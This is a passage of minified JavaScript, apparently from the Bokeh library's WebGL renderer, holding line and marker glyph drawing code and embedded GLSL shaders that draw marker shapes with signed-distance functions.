Uint16Array(h[u]),p=u*_*4;0!==g.length&&(this.prog.set_attribute(\\\"a_position\\\",\\\"vec2\\\",a.vbo_position,0,2*p),this.prog.set_attribute(\\\"a_tangents\\\",\\\"vec4\\\",a.vbo_tangents,0,4*p),this.prog.set_attribute(\\\"a_segment\\\",\\\"vec2\\\",a.vbo_segment,0,2*p),this.prog.set_attribute(\\\"a_angles\\\",\\\"vec2\\\",a.vbo_angles,0,2*p),this.prog.set_attribute(\\\"a_texcoord\\\",\\\"vec2\\\",a.vbo_texcoord,0,2*p),this.index_buffer.set_size(2*g.length),this.index_buffer.set_data(0,g),this.prog.draw(this.gl.TRIANGLES,this.index_buffer))}}},e.prototype._set_data=function(){this._bake(),this.vbo_position.set_size(4*this.V_position.length),this.vbo_position.set_data(0,this.V_position),this.vbo_tangents.set_size(4*this.V_tangents.length),this.vbo_tangents.set_data(0,this.V_tangents),this.vbo_angles.set_size(4*this.V_angles.length),this.vbo_angles.set_data(0,this.V_angles),this.vbo_texcoord.set_size(4*this.V_texcoord.length),this.vbo_texcoord.set_data(0,this.V_texcoord)},e.prototype._set_visuals=function(){var t,e=l.color2rgba(this.glyph.visuals.line.line_color.value(),this.glyph.visuals.line.line_alpha.value()),n=c[this.glyph.visuals.line.line_cap.value()],a=h[this.glyph.visuals.line.line_join.value()];this.prog.set_uniform(\\\"u_color\\\",\\\"vec4\\\",e),this.prog.set_uniform(\\\"u_linewidth\\\",\\\"float\\\",[this.glyph.visuals.line.line_width.value()]),this.prog.set_uniform(\\\"u_antialias\\\",\\\"float\\\",[.9]),this.prog.set_uniform(\\\"u_linecaps\\\",\\\"vec2\\\",[n,n]),this.prog.set_uniform(\\\"u_linejoin\\\",\\\"float\\\",[a]),this.prog.set_uniform(\\\"u_miter_limit\\\",\\\"float\\\",[10]);var s=this.glyph.visuals.line.line_dash.value(),i=0,r=1;s.length&&(t=this.dash_atlas.get_atlas_data(s),i=t[0],r=t[1]),this.prog.set_uniform(\\\"u_dash_index\\\",\\\"float\\\",[i]),this.prog.set_uniform(\\\"u_dash_phase\\\",\\\"float\\\",[this.glyph.visuals.line.line_dash_offset.value()]),this.prog.set_uniform(\\\"u_dash_period\\\",\\\"float\\\",[r]),this.prog.set_uniform(\\\"u_dash_caps\\\",\\\"vec2\\\",[n,n]),this.prog.set_uniform(\\\"u_closed\\\",\\\"float\\\",[0])},e.prototype._bake=function(){for(var t,e,n,a,s,i,r,o,l=this.nvertices,_=new Float64Array(this.glyph._x),h=new Float64Array(this.glyph._y),c=r=new Float32Array(2*l),f=new Float32Array(2*l),d=o=new Float32Array(4*l),u=0,g=l;u<g;u++)c[2*u+0]=_[u]+this._baked_offset[0],c[2*u+1]=h[u]+this._baked_offset[1];this.tangents=e=new Float32Array(2*l-2);for(var u=0,g=l-1;u<g;u++)e[2*u+0]=r[2*(u+1)+0]-r[2*u+0],e[2*u+1]=r[2*(u+1)+1]-r[2*u+1];for(var u=0,g=l-1;u<g;u++)d[4*(u+1)+0]=e[2*u+0],d[4*(u+1)+1]=e[2*u+1],d[4*u+2]=e[2*u+0],d[4*u+3]=e[2*u+1];d[0]=e[0],d[1]=e[1],d[4*(l-1)+2]=e[2*(l-2)+0],d[4*(l-1)+3]=e[2*(l-2)+1];for(var p=new Float32Array(l),u=0,g=l;u<g;u++)p[u]=Math.atan2(o[4*u+0]*o[4*u+3]-o[4*u+1]*o[4*u+2],o[4*u+0]*o[4*u+2]+o[4*u+1]*o[4*u+3]);for(var u=0,g=l-1;u<g;u++)f[2*u+0]=p[u],f[2*u+1]=p[u+1];var v=4*l-4;this.V_position=a=new Float32Array(2*v),this.V_angles=n=new Float32Array(2*v),this.V_tangents=s=new Float32Array(4*v),this.V_texcoord=i=new Float32Array(2*v);for(var u=0,g=l;u<g;u++)for(var m=0;m<4;m++){for(var x=0;x<2;x++)a[2*(4*u+m-2)+x]=c[2*u+x],n[2*(4*u+m)+x]=f[2*u+x];for(var x=0;x<4;x++)s[4*(4*u+m-2)+x]=d[4*u+x]}for(var u=0,g=l;u<g;u++)i[2*(4*u+0)+0]=-1,i[2*(4*u+1)+0]=-1,i[2*(4*u+2)+0]=1,i[2*(4*u+3)+0]=1,i[2*(4*u+0)+1]=-1,i[2*(4*u+1)+1]=1,i[2*(4*u+2)+1]=-1,i[2*(4*u+3)+1]=1;var y=6*(l-1);this.I_triangles=t=new Uint32Array(y);for(var u=0,g=l;u<g;u++)t[6*u+0]=0+4*u,t[6*u+1]=1+4*u,t[6*u+2]=3+4*u,t[6*u+3]=2+4*u,t[6*u+4]=0+4*u,t[6*u+5]=3+4*u},e.prototype._update_scale=function(t,e){var n,a=this.nvertices,s=4*a-4,i=this.tangents,r=new Float32Array(a-1),o=new Float32Array(2*a);this.V_segment=n=new Float32Array(2*s);for(var l=0,_=a-1;l<_;l++)r[l]=Math.sqrt(Math.pow(i[2*l+0]*t,2)+Math.pow(i[2*l+1]*e,2));for(var h=0,l=0,_=a-1;l<_;l++)h+=r[l],o[2*(l+1)+0]=h,o[2*l+1]=h;for(var l=0,_=a;l<_;l++)for(var c=0;c<4;c++)for(var f=0;f<2;f++)n[2*(4*l+c)+f]=o[2*l+f];this.cumsum=h,this.vbo_segment.set_size(4*this.V_segment.length),this.vbo_segment.set_data(0,this.V_segment)},e}(i.BaseGLGlyph);n.LineGLGlyph=f},455:function(t,e,n){n.vertex_shader=\\\"\\\\nprecision mediump float;\\\\n\\\\nconst float PI = 3.14159265358979323846264;\\\\nconst float THETA = 15.0 * 3.14159265358979323846264/180.0;\\\\n\\\\nuniform float u_pixel_ratio;\\\\nuniform vec2 u_canvas_size, u_offset;\\\\nuniform vec2 u_scale_aspect;\\\\nuniform float u_scale_length;\\\\n\\\\nuniform vec4 u_color;\\\\nuniform float u_antialias;\\\\nuniform float u_length;\\\\nuniform float u_linewidth;\\\\nuniform float u_dash_index;\\\\nuniform float u_closed;\\\\n\\\\nattribute vec2 a_position;\\\\nattribute vec4 a_tangents;\\\\nattribute vec2 a_segment;\\\\nattribute vec2 a_angles;\\\\nattribute vec2 a_texcoord;\\\\n\\\\nvarying vec4  v_color;\\\\nvarying vec2  v_segment;\\\\nvarying vec2  v_angles;\\\\nvarying vec2  v_texcoord;\\\\nvarying vec2  v_miter;\\\\nvarying float v_length;\\\\nvarying float v_linewidth;\\\\n\\\\nfloat cross(in vec2 v1, in vec2 v2)\\\\n{\\\\n    return v1.x*v2.y - v1.y*v2.x;\\\\n}\\\\n\\\\nfloat signed_distance(in vec2 v1, in vec2 v2, in vec2 v3)\\\\n{\\\\n    return cross(v2-v1,v1-v3) / length(v2-v1);\\\\n}\\\\n\\\\nvoid rotate( in vec2 v, in float alpha, out vec2 result )\\\\n{\\\\n    float c = cos(alpha);\\\\n    float s = sin(alpha);\\\\n    result = vec2( c*v.x - s*v.y,\\\\n                   s*v.x + c*v.y );\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    bool closed = (u_closed > 0.0);\\\\n\\\\n    // Attributes and uniforms to varyings\\\\n    v_color = u_color;\\\\n    v_linewidth = u_linewidth;\\\\n    v_segment = a_segment * u_scale_length;\\\\n    v_length = u_length * u_scale_length;\\\\n\\\\n    // Scale to map to pixel coordinates. The original algorithm from the paper\\\\n    // assumed isotropic scale. We obviously do not have this.\\\\n    vec2 abs_scale_aspect = abs(u_scale_aspect);\\\\n    vec2 abs_scale = u_scale_length * abs_scale_aspect;\\\\n\\\\n    // Correct angles for aspect ratio\\\\n    vec2 av;\\\\n    av = vec2(1.0, tan(a_angles.x)) / abs_scale_aspect;\\\\n    v_angles.x = atan(av.y, av.x);\\\\n    av = vec2(1.0, tan(a_angles.y)) / abs_scale_aspect;\\\\n    v_angles.y = atan(av.y, av.x);\\\\n\\\\n    // Thickness below 1 pixel are represented using a 1 pixel thickness\\\\n    // and a modified alpha\\\\n    v_color.a = min(v_linewidth, v_color.a);\\\\n    v_linewidth = max(v_linewidth, 1.0);\\\\n\\\\n    // If color is fully transparent we just will discard the fragment anyway\\\\n    if( v_color.a <= 0.0 ) {\\\\n        gl_Position = vec4(0.0,0.0,0.0,1.0);\\\\n        return;\\\\n    }\\\\n\\\\n    // This is the actual half width of the line\\\\n    float w = ceil(u_antialias+v_linewidth)/2.0;\\\\n\\\\n    vec2 position = (a_position + u_offset) * abs_scale;\\\\n\\\\n    vec2 t1 = normalize(a_tangents.xy * abs_scale_aspect);  // note the scaling for aspect ratio here\\\\n    vec2 t2 = normalize(a_tangents.zw * abs_scale_aspect);\\\\n    float u = a_texcoord.x;\\\\n    float v = a_texcoord.y;\\\\n    vec2 o1 = vec2( +t1.y, -t1.x);\\\\n    vec2 o2 = vec2( +t2.y, -t2.x);\\\\n\\\\n    // This is a join\\\\n    // ----------------------------------------------------------------\\\\n    if( t1 != t2 ) {\\\\n        float angle = atan (t1.x*t2.y-t1.y*t2.x, t1.x*t2.x+t1.y*t2.y);  // Angle needs recalculation for some reason\\\\n        vec2 t  = normalize(t1+t2);\\\\n        vec2 o  = vec2( + t.y, - t.x);\\\\n\\\\n        if ( u_dash_index > 0.0 )\\\\n        {\\\\n            // Broken angle\\\\n            // ----------------------------------------------------------------\\\\n            if( (abs(angle) > THETA) ) {\\\\n                position += v * w * o / cos(angle/2.0);\\\\n                float s = sign(angle);\\\\n                if( angle < 0.0 ) {\\\\n                    if( u == +1.0 ) {\\\\n                        u = v_segment.y + v * w * tan(angle/2.0);\\\\n                        if( v == 1.0 ) {\\\\n                            position -= 2.0 * w * t1 / sin(angle);\\\\n                            u -= 2.0 * w / sin(angle);\\\\n                        }\\\\n                    } else {\\\\n                        u = v_segment.x - v * w * tan(angle/2.0);\\\\n                        if( v == 1.0 ) {\\\\n                            position += 2.0 * w * t2 / sin(angle);\\\\n                            u += 2.0*w / sin(angle);\\\\n                        }\\\\n                    }\\\\n                } else {\\\\n                    if( u == +1.0 ) {\\\\n                        u = v_segment.y + v * w * tan(angle/2.0);\\\\n                        if( v == -1.0 ) {\\\\n                            position += 2.0 * w * t1 / sin(angle);\\\\n                            u += 2.0 * w / sin(angle);\\\\n                        }\\\\n                    } else {\\\\n                        u = v_segment.x - v * w * tan(angle/2.0);\\\\n                        if( v == -1.0 ) {\\\\n                            position -= 2.0 * w * t2 / sin(angle);\\\\n                            u -= 2.0*w / sin(angle);\\\\n                        }\\\\n                    }\\\\n                }\\\\n                // Continuous angle\\\\n                // ------------------------------------------------------------\\\\n            } else {\\\\n                position += v * w * o / cos(angle/2.0);\\\\n                if( u == +1.0 ) u = v_segment.y;\\\\n                else            u = v_segment.x;\\\\n            }\\\\n        }\\\\n\\\\n        // Solid line\\\\n        // --------------------------------------------------------------------\\\\n        else\\\\n        {\\\\n            position.xy += v * w * o / cos(angle/2.0);\\\\n            if( angle < 0.0 ) {\\\\n                if( u == +1.0 ) {\\\\n                    u = v_segment.y + v * w * tan(angle/2.0);\\\\n                } else {\\\\n                    u = v_segment.x - v * w * tan(angle/2.0);\\\\n                }\\\\n            } else {\\\\n                if( u == +1.0 ) {\\\\n                    u = v_segment.y + v * w * tan(angle/2.0);\\\\n                } else {\\\\n                    u = v_segment.x - v * w * tan(angle/2.0);\\\\n                }\\\\n            }\\\\n        }\\\\n\\\\n    // This is a line start or end (t1 == t2)\\\\n    // ------------------------------------------------------------------------\\\\n    } else {\\\\n        position += v * w * o1;\\\\n        if( u == -1.0 ) {\\\\n            u = v_segment.x - w;\\\\n            position -= w * t1;\\\\n        } else {\\\\n            u = v_segment.y + w;\\\\n            position += w * t2;\\\\n        }\\\\n    }\\\\n\\\\n    // Miter distance\\\\n    // ------------------------------------------------------------------------\\\\n    vec2 t;\\\\n    vec2 curr = a_position * abs_scale;\\\\n    if( a_texcoord.x < 0.0 ) {\\\\n        vec2 next = curr + t2*(v_segment.y-v_segment.x);\\\\n\\\\n        rotate( t1, +v_angles.x/2.0, t);\\\\n        v_miter.x = signed_distance(curr, curr+t, position);\\\\n\\\\n        rotate( t2, +v_angles.y/2.0, t);\\\\n        v_miter.y = signed_distance(next, next+t, position);\\\\n    } else {\\\\n        vec2 prev = curr - t1*(v_segment.y-v_segment.x);\\\\n\\\\n        rotate( t1, -v_angles.x/2.0,t);\\\\n        v_miter.x = signed_distance(prev, prev+t, position);\\\\n\\\\n        rotate( t2, -v_angles.y/2.0,t);\\\\n        v_miter.y = signed_distance(curr, curr+t, position);\\\\n    }\\\\n\\\\n    if (!closed && v_segment.x <= 0.0) {\\\\n        v_miter.x = 1e10;\\\\n    }\\\\n    if (!closed && v_segment.y >= v_length)\\\\n    {\\\\n        v_miter.y = 1e10;\\\\n    }\\\\n\\\\n    v_texcoord = vec2( u, v*w );\\\\n\\\\n    // Calculate position in device coordinates. Note that we\\\\n    // already scaled with abs scale above.\\\\n    vec2 normpos = position * sign(u_scale_aspect);\\\\n    normpos += 0.5;  // make up for Bokeh's offset\\\\n    normpos /= u_canvas_size / u_pixel_ratio;  // in 0..1\\\\n    gl_Position = vec4(normpos*2.0-1.0, 0.0, 1.0);\\\\n    gl_Position.y *= -1.0;\\\\n}\\\\n\\\"},456:function(t,e,n){t(452)},457:function(t,e,n){n.fragment_shader=function(t){return\\\"\\\\nprecision mediump float;\\\\nconst float SQRT_2 = 1.4142135623730951;\\\\nconst float PI = 3.14159265358979323846264;\\\\n//\\\\nuniform float u_antialias;\\\\n//\\\\nvarying vec4  v_fg_color;\\\\nvarying vec4  v_bg_color;\\\\nvarying float v_linewidth;\\\\nvarying float v_size;\\\\nvarying vec2  v_rotation;\\\\n\\\\n\\\"+t+\\\"\\\\n\\\\nvec4 outline(float distance, float linewidth, float antialias, vec4 fg_color, vec4 bg_color)\\\\n{\\\\n    vec4 frag_color;\\\\n    float t = linewidth/2.0 - antialias;\\\\n    float signed_distance = distance;\\\\n    float border_distance = abs(signed_distance) - t;\\\\n    float alpha = border_distance/antialias;\\\\n    alpha = exp(-alpha*alpha);\\\\n\\\\n    // If fg alpha is zero, it probably means no outline. To avoid a dark outline\\\\n    // shining through due to aa, we set the fg color to the bg color. Avoid if (i.e. branching).\\\\n    float select = float(bool(fg_color.a));\\\\n    fg_color.rgb = select * fg_color.rgb + (1.0  - select) * bg_color.rgb;\\\\n    // Similarly, if we want a transparent bg\\\\n    select = float(bool(bg_color.a));\\\\n    bg_color.rgb = select * bg_color.rgb + (1.0  - select) * fg_color.rgb;\\\\n\\\\n    if( border_distance < 0.0)\\\\n        frag_color = fg_color;\\\\n    else if( signed_distance < 0.0 ) {\\\\n        frag_color = mix(bg_color, fg_color, sqrt(alpha));\\\\n    } else {\\\\n        if( abs(signed_distance) < (linewidth/2.0 + antialias) ) {\\\\n            frag_color = vec4(fg_color.rgb, fg_color.a * alpha);\\\\n        } else {\\\\n            discard;\\\\n        }\\\\n    }\\\\n    return frag_color;\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    vec2 P = gl_PointCoord.xy - vec2(0.5, 0.5);\\\\n    P = vec2(v_rotation.x*P.x - v_rotation.y*P.y,\\\\n             v_rotation.y*P.x + v_rotation.x*P.y);\\\\n    float point_size = SQRT_2*v_size  + 2.0 * (v_linewidth + 1.5*u_antialias);\\\\n    float distance = marker(P*point_size, v_size);\\\\n    gl_FragColor = outline(distance, v_linewidth, u_antialias, v_fg_color, v_bg_color);\\\\n    //gl_FragColor.rgb *= gl_FragColor.a;  // pre-multiply alpha\\\\n}\\\\n\\\"},n.circle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    return length(P) - size/2.0;\\\\n}\\\\n\\\",n.square=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    return max(abs(P.x), abs(P.y)) - size/2.0;\\\\n}\\\\n\\\",n.diamond=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.5 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.5 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / (2.0 * SQRT_2);\\\\n    return r1 / SQRT_2;\\\\n}\\\\n\\\",n.hex=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    vec2 q = abs(P);\\\\n    return max(q.y * 0.57735 + q.x - 1.0 * size/2.0, q.y - 0.866 * size/2.0);\\\\n}\\\\n\\\",n.triangle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    P.y -= size * 0.3;\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.7 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.7 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / 1.6;\\\\n    float r2 = P.y;\\\\n    return max(r1 / SQRT_2, r2);  // Intersect diamond with rectangle\\\\n}\\\\n\\\",n.invertedtriangle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    P.y += size * 0.3;\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.7 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.7 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / 1.6;\\\\n    float r2 = - P.y;\\\\n    return max(r1 / SQRT_2, r2);  // Intersect diamond with rectangle\\\\n}\\\\n\\\",n.cross='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float square = max(abs(P.x), abs(P.y)) - size / 2.5;   // 2.5 is a tweak\\\\n    float cross = min(abs(P.x), abs(P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return max(square, cross);\\\\n}\\\\n',n.circlecross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float circle = length(P) - size/2.0;\\\\n    float c1 = max(circle, s1);\\\\n    float c2 = max(circle, s2);\\\\n    float c3 = max(circle, s3);\\\\n    float c4 = max(circle, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.squarecross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float square = max(abs(P.x), abs(P.y)) - size/2.0;\\\\n    float c1 = max(square, s1);\\\\n    float c2 = max(square, s2);\\\\n    float c3 = max(square, s3);\\\\n    float c4 = max(square, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.diamondcross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.5 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.5 + P.y);\\\\n    float diamond = max(abs(x), abs(y)) - size / (2.0 * SQRT_2);\\\\n    diamond /= SQRT_2;\\\\n    float c1 = max(diamond, s1);\\\\n    float c2 = max(diamond, s2);\\\\n    float c3 = max(diamond, s3);\\\\n    float c4 = max(diamond, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.x='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float circle = length(P) - size / 1.6;\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return max(circle, X);\\\\n}\\\\n',n.circlex='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = P.x - P.y;\\\\n    float y = P.x + P.y;\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(x - qs), abs(y - qs)) - qs;\\\\n    float s2 = max(abs(x + qs), abs(y - qs)) - qs;\\\\n    float s3 = max(abs(x - qs), abs(y + qs)) - qs;\\\\n    float s4 = max(abs(x + qs), abs(y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float circle = length(P) - size/2.0;\\\\n    float c1 = max(circle, s1);\\\\n    float c2 = max(circle, s2);\\\\n    float c3 = max(circle, s3);\\\\n    float c4 = max(circle, s4);\\\\n    // Union\\\\n    float almost = min(min(min(c1, c2), c3), c4);\\\\n    // In this case, the X is also outside of the main shape\\\\n    float Xmask = length(P) - size / 1.6;  // a circle\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return min(max(X, Xmask), almost);\\\\n}\\\\n',n.squarex=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = P.x - P.y;\\\\n    float y = P.x + P.y;\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(x - qs), abs(y - qs)) - qs;\\\\n    float s2 = max(abs(x + qs), abs(y - qs)) - qs;\\\\n    float s3 = max(abs(x - qs), abs(y + qs)) - qs;\\\\n    float s4 = max(abs(x + qs), abs(y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float square = max(abs(P.x), abs(P.y)) - size/2.0;\\\\n    float c1 = max(square, s1);\\\\n    float c2 = max(square, s2);\\\\n    float c3 = max(square, s3);\\\\n    float c4 = max(square, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.asterisk='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Masks\\\\n    float diamond = max(abs(SQRT_2 / 2.0 * (P.x - P.y)), abs(SQRT_2 / 2.0 * (P.x + P.y))) - size / (2.0 * SQRT_2);\\\\n    float square = max(abs(P.x), abs(P.y)) - size / (2.0 * SQRT_2);\\\\n    // Shapes\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    float cross = min(abs(P.x), abs(P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    // Result is union of masked shapes\\\\n    return min(max(X, diamond), max(cross, square));\\\\n}\\\\n'},458:function(t,e,n){var a=t(391),s=t(460),i=t(451),r=t(459),o=t(457),u=t(120),g=t(22),p=t(14),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),e.prototype.init=function(){var t=this.gl,e=r.vertex_shader,n=o.fragment_shader(this._marker_code);this.prog=new s.Program(t),this.prog.set_shaders(e,n),this.vbo_x=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",this.vbo_x),this.vbo_y=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",this.vbo_y),this.vbo_s=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",this.vbo_s),this.vbo_a=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",this.vbo_a),this.vbo_linewidth=new s.VertexBuffer(t),this.vbo_fg_color=new s.VertexBuffer(t),this.vbo_bg_color=new s.VertexBuffer(t),this.index_buffer=new s.IndexBuffer(t)},e.prototype.draw=function(t,e,n){var a=e.glglyph,s=a.nvertices;if(a.data_changed){if(!isFinite(n.dx)||!isFinite(n.dy))return;a._baked_offset=[n.dx,n.dy],a._set_data(s),a.data_changed=!1}else this.glyph instanceof u.CircleView&&null!=this.glyph._radius&&(null==this.last_trans||n.sx!=this.last_trans.sx||n.sy!=this.last_trans.sy)&&(this.last_trans=n,this.vbo_s.set_data(0,new Float32Array(g.map(this.glyph.sradius,function(t){return 2*t}))));this.visuals_changed&&(this._set_visuals(s),this.visuals_changed=!1);var i=a._baked_offset;if(this.prog.set_uniform(\\\"u_pixel_ratio\\\",\\\"float\\\",[n.pixel_ratio]),this.prog.set_uniform(\\\"u_canvas_size\\\",\\\"vec2\\\",[n.width,n.height]),this.prog.set_uniform(\\\"u_offset\\\",\\\"vec2\\\",[n.dx-i[0],n.dy-i[1]]),this.prog.set_uniform(\\\"u_scale\\\",\\\"vec2\\\",[n.sx,n.sy]),this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",a.vbo_x),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",a.vbo_y),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",a.vbo_s),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",a.vbo_a),0!=t.length)if(t.length===s)this.prog.draw(this.gl.POINTS,[0,s]);else if(s<65535){var r=window.navigator.userAgent;0<r.indexOf(\\\"MSIE \\\")+r.indexOf(\\\"Trident/\\\")+r.indexOf(\\\"Edge/\\\")&&p.logger.warn(\\\"WebGL warning: IE is known to produce 1px sprites whith selections.\\\"),this.index_buffer.set_size(2*t.length),this.index_buffer.set_data(0,new Uint16Array(t)),this.prog.draw(this.gl.POINTS,this.index_buffer)}else{for(var o=[],l=0,_=Math.ceil(s/64e3);l<_;l++)o.push([]);for(var l=0,_=t.length;l<_;l++){var h=t[l]%64e3,c=Math.floor(t[l]/64e3);o[c].push(h)}for(var c=0,_=o.length;c<_;c++){var f=new Uint16Array(o[c]),d=64e3*c*4;0!==f.length&&(this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",a.vbo_x,0,d),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",a.vbo_y,0,d),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",a.vbo_s,0,d),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",a.vbo_a,0,d),this.vbo_linewidth.used&&this.prog.set_attribute(\\\"a_linewidth\\\",\\\"float\\\",this.vbo_linewidth,0,d),this.vbo_fg_color.used&&this.prog.set_attribute(\\\"a_fg_color\\\",\\\"vec4\\\",this.vbo_fg_color,0,4*d),this.vbo_bg_color.used&&this.prog.set_attribute(\\\"a_bg_color\\\",\\\"vec4\\\",this.vbo_bg_color,0,4*d),this.index_buffer.set_size(2*f.length),this.index_buffer.set_data(0,f),this.prog.draw(this.gl.POINTS,this.index_buffer))}}},e.prototype._set_data=function(t){var e=4*t;this.vbo_x.set_size(e),this.vbo_y.set_size(e),this.vbo_a.set_size(e),this.vbo_s.set_size(e);for(var n=new Float64Array(this.glyph._x),a=new Float64Array(this.glyph._y),s=0,i=t;s<i;s++)n[s]+=this._baked_offset[0],a[s]+=this._baked_offset[1];this.vbo_x.set_data(0,new Float32Array(n)),this.vbo_y.set_data(0,new Float32Array(a)),null!=this.glyph._angle&&this.vbo_a.set_data(0,new Float32Array(this.glyph._angle)),this.glyph instanceof u.CircleView&&null!=this.glyph._radius?this.vbo_s.set_data(0,new Float32Array(g.map(this.glyph.sradius,function(t){return 2*t}))):this.vbo_s.set_data(0,new Float32Array(this.glyph._size))},e.prototype._set_visuals=function(t){i.attach_float(this.prog,this.vbo_linewidth,\\\"a_linewidth\\\",t,this.glyph.visuals.line,\\\"line_width\\\"),i.attach_color(this.prog,this.vbo_fg_color,\\\"a_fg_color\\\",t,this.glyph.visuals.line,\\\"line\\\"),i.attach_color(this.prog,this.vbo_bg_color,\\\"a_bg_color\\\",t,this.glyph.visuals.fill,\\\"fill\\\"),this.prog.set_uniform(\\\"u_antialias\\\",\\\"float\\\",[.8])},e}(i.BaseGLGlyph);function _(n){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),Object.defineProperty(e.prototype,\\\"_marker_code\\\",{get:function(){return n},enumerable:!0,configurable:!0}),e}(l)}n.MarkerGLGlyph=l;var h=t(457);n.CircleGLGlyph=_(h.circle),n.SquareGLGlyph=_(h.square),n.DiamondGLGlyph=_(h.diamond),n.TriangleGLGlyph=_(h.triangle),n.InvertedTriangleGLGlyph=_(h.invertedtriangle),n.HexGLGlyph=_(h.hex),n.CrossGLGlyph=_(h.cross),n.CircleCrossGLGlyph=_(h.circlecross),n.SquareCrossGLGlyph=_(h.squarecross),n.DiamondCrossGLGlyph=_(h.diamondcross),n.XGLGlyph=_(h.x),n.CircleXGLGlyph=_(h.circlex),n.SquareXGLGlyph=_(h.squarex),n.AsteriskGLGlyph=_(h.asterisk)},459:function(t,e,n){n.vertex_shader=\\\"\\\\nprecision mediump float;\\\\nconst float SQRT_2 = 1.4142135623730951;\\\\n//\\\\nuniform float u_pixel_ratio;\\\\nuniform vec2 u_canvas_size;\\\\nuniform vec2 u_offset;\\\\nuniform vec2 u_scale;\\\\nuniform float u_antialias;\\\\n//\\\\nattribute float a_x;\\\\nattribute float a_y;\\\\nattribute float a_size;\\\\nattribute float a_angle;  // in radians\\\\nattribute float a_linewidth;\\\\nattribute vec4  a_fg_color;\\\\nattribute vec4  a_bg_color;\\\\n//\\\\nvarying float v_linewidth;\\\\nvarying float v_size;\\\\nvarying vec4  v_fg_color;\\\\nvarying vec4  v_bg_color;\\\\nvarying vec2  v_rotation;\\\\n\\\\nvoid main 